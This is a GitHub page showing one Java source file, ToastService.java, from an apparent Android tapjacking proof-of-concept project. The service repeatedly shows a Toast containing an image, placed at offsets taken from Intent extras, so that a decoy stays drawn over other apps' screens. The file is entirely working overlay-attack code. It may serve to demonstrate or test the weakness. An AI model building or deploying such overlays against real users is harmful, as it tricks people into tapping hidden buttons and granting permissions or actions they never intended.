-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathToastService.java
116 lines (100 loc) · 2.66 KB
/
ToastService.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
package com.example.tapjacking;
import java.util.Timer;
import java.util.TimerTask;
import android.annotation.SuppressLint;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.view.Gravity;
import android.widget.ImageView;
import android.widget.Toast;
public class ToastService extends Service {
private int duration = Toast.LENGTH_LONG;
private Context context;
private Toast jam;
private Timer t;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
//instantiate variables
t = new Timer();
context = getApplicationContext();
jam = new Toast(context);
//setup tapjacking image
ImageView img = new ImageView(context);
img.setImageResource(R.drawable.ic_terms_message);
jam.setView(img);
}
@SuppressLint("NewApi")
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
jam.setDuration(duration);
Bundle e = intent.getExtras();
int rep = 0;
if (e != null) {
// if the parameters are not passed they will be set to 0
jam.setGravity(Gravity.TOP | Gravity.LEFT,
e.getInt("_com_example_tapjacking_leftOffset"),
e.getInt("_com_example_tapjacking_topOffset"));
rep = e.getInt("_com_example_tapjacking_repetitionTime");
}
/*
* generate tapjacking screen
*
* If the repetitions weren't set just use a default value
*/
if (rep == 0)
rep = 15000;
/*
* using a timer task that repeats at fixed intervals for periodic
* appearance of toast.
*/
if(rep<=5000)
{
t.scheduleAtFixedRate(toastTask(), 0, rep);
}
if(rep>5000&&rep<=10000)
{
t.scheduleAtFixedRate(toastTask(), 0, rep);
t.scheduleAtFixedRate(toastTask(), duration, rep);
}
if(rep>=10000&&rep<=20000)
{
t.scheduleAtFixedRate(toastTask(), 0, rep);
t.scheduleAtFixedRate(toastTask(), duration, rep);
t.scheduleAtFixedRate(toastTask(), 2*duration, rep);
t.scheduleAtFixedRate(toastTask(), 3*duration, rep);
}
return super.onStartCommand(intent, flags, startId);
}
/**
* timertask neccessary for scheduler, calls the generateToast() method
* @return
*/
private TimerTask toastTask() {
return new TimerTask() {
@Override
public void run() {
//generateToast();
jam.show();
}
};
}
/**
* cancels all scheduled tasks and closes the toast
*/
@Override
public void onDestroy() {
t.cancel();
jam.cancel();
super.onDestroy();
}
}